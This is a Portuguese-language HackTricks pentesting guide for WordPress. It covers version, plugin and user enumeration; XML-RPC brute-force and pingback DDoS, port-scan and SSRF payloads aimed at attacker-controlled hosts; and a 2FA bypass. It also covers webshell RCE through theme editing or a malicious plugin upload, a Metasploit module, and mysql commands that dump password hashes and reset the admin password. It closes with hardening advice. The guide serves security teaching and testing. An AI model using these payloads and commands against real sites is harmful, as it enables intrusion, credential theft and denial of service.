hacktricks/network-services-pentesting/pentesting-web/wordpress.md

421 lines
20 KiB
Markdown

# Wordpress
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Informações Básicas
Os arquivos **carregados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Os arquivos de **temas podem ser encontrados em /wp-content/themes/**, então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando o **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Outra URL útil poderia ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
No **wp-config.php** você pode encontrar a senha raiz do banco de dados.
Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Arquivos Principais do WordPress**
* `index.php`
* `license.txt` contém informações úteis, como a versão do WordPress instalada.
* `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site do WordPress.
* Pastas de login (podem ser renomeadas para ocultá-las):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite a transmissão de dados com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela [API REST](https://developer.wordpress.org/rest-api/reference) do WordPress.
* A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
* `wp-content/uploads/` é o diretório onde são armazenados os arquivos enviados para a plataforma.
* `wp-includes/` Este é o diretório onde os arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
* `wp-sitemap.xml` Nas versões do Wordpress 5.5 e superiores, o Wordpress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente pesquisáveis.
**Pós exploração**
* O arquivo `wp-config.php` contém informações necessárias pelo WordPress para se conectar ao banco de dados, como nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sales, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
### Permissões de Usuários
* **Administrador**
* **Editor**: Publica e gerencia suas próprias postagens e de outros
* **Autor**: Publica e gerencia suas próprias postagens
* **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las
* **Assinante**: Navega pelas postagens e edita seu perfil
## **Enumeração Passiva**
### **Obter a versão do WordPress**
Verifique se você pode encontrar os arquivos `/license.txt` ou `/readme.html`
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Arquivos de link CSS
![](<../../.gitbook/assets/image (344).png>)
* Arquivos JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obter Plugins
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obter Temas
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Extrair versões em geral
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeração Ativa
### Plugins e Temas
Provavelmente você não será capaz de encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente uma lista de Plugins e Temas** (felizmente, existem ferramentas automatizadas que contêm essas listas).
### Usuários
**ID Brute**
Você obtém usuários válidos de um site WordPress forçando IDs de usuários:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
**wp-json**
Você também pode tentar obter informações sobre os usuários consultando:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Outro endpoint `/wp-json/` que pode revelar informações sobre usuários é:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Observe que este endpoint expõe apenas usuários que fizeram uma postagem. **Será fornecida apenas informação sobre os usuários que possuem esse recurso habilitado**.
Também observe que **/wp-json/wp/v2/pages** pode expor endereços IP.
#### Enumeração de nome de usuário de login
Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário indicado existir ou não**.
### XML-RPC
Se `xml-rpc.php` estiver ativo, você pode realizar uma força bruta de credenciais ou usá-lo para lançar ataques de negação de serviço (DoS) a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit), por exemplo).
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
**Verificar**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Força Bruta de Credenciais**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para força bruta de credenciais. Se você encontrar algum deles, pode enviar algo como:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
![](<../../.gitbook/assets/image (102).png>)
Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
Também há uma **maneira mais rápida** de forçar credenciais usando **`system.multicall`** pois você pode tentar várias credenciais na mesma solicitação:
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
**Burlar 2FA**
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Portanto, se você tiver credenciais válidas mas a entrada principal estiver protegida por 2FA, **você pode abusar do xmlrpc.php para fazer login com essas credenciais burlando o 2FA**. Observe que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS ou varredura de portas**
Se você encontrar o método _**pingback.ping**_ na lista, você pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
Isso pode ser usado para pedir a **milhares** de **sites** Wordpress para **acessar** uma **localização** (causando um **DDoS** nessa localização) ou você pode usá-lo para fazer o **Wordpress** **varrer** alguma **rede interna** (você pode indicar qualquer porta).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
Se você receber **faultCode** com um valor **maior** que **0** (17), significa que a porta está aberta.
Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado** uma **consulta** MySQL "**pesada**" é realizada, então poderia ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você.
Esta é a resposta quando não funciona:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existirem, tenta explorá-los.
### Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Acesse sobrescrevendo um bit
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para anular a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Painel RCE**
**Modificando um arquivo php do tema usado (é necessário credenciais de administrador)**
Aparência → Editor de Temas → Modelo 404 (à direita)
Altere o conteúdo para um shell php:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você precisa acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Você pode usar:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Plugin RCE
### Plugin RCE
### Plugin RCE
Pode ser possível fazer upload de arquivos .php como um plugin.\
Crie sua backdoor php usando, por exemplo:
![](<../../.gitbook/assets/image (407).png>)
Em seguida, adicione um novo plugin:
![](<../../.gitbook/assets/image (409).png>)
Faça o upload do plugin e pressione Instalar Agora:
![](<../../.gitbook/assets/image (411).png>)
Clique em Proceder:
![](<../../.gitbook/assets/image (412).png>)
Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, verá sua shell enviada:
![](<../../.gitbook/assets/image (413).png>)
Acesse e você verá a URL para executar a reverse shell:
![](<../../.gitbook/assets/image (414).png>)
### Uploading and activating malicious plugin
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter uma web shell. Esse processo é realizado por meio do painel do WordPress da seguinte forma:
1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do Plugin**:
- Navegue até o painel do WordPress, vá para `Painel > Plugins > Fazer Upload do Plugin`.
- Faça o upload do arquivo zip do plugin baixado.
3. **Ativação do Plugin**: Uma vez que o plugin é instalado com sucesso, ele deve ser ativado por meio do painel.
4. **Exploração**:
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
O conteúdo inclui auxílios visuais que mostram os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante observar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
**Para passos mais detalhados, consulte: [https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**
## Pós-Exploração
Extrair nomes de usuários e senhas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Alterar senha do administrador:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Proteção do WordPress
### Atualizações Regulares
Certifique-se de que o WordPress, plugins e temas estão atualizados. Confirme também se a atualização automática está habilitada no wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Também, **instale apenas plugins e temas confiáveis do WordPress**.
### Plugins de Segurança
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Outras Recomendações**
* Remova o usuário padrão **admin**
* Use **senhas fortes** e **2FA**
* Revise periodicamente as **permissões dos usuários**
* **Limite as tentativas de login** para prevenir ataques de Força Bruta
* Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de determinados endereços IP.
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>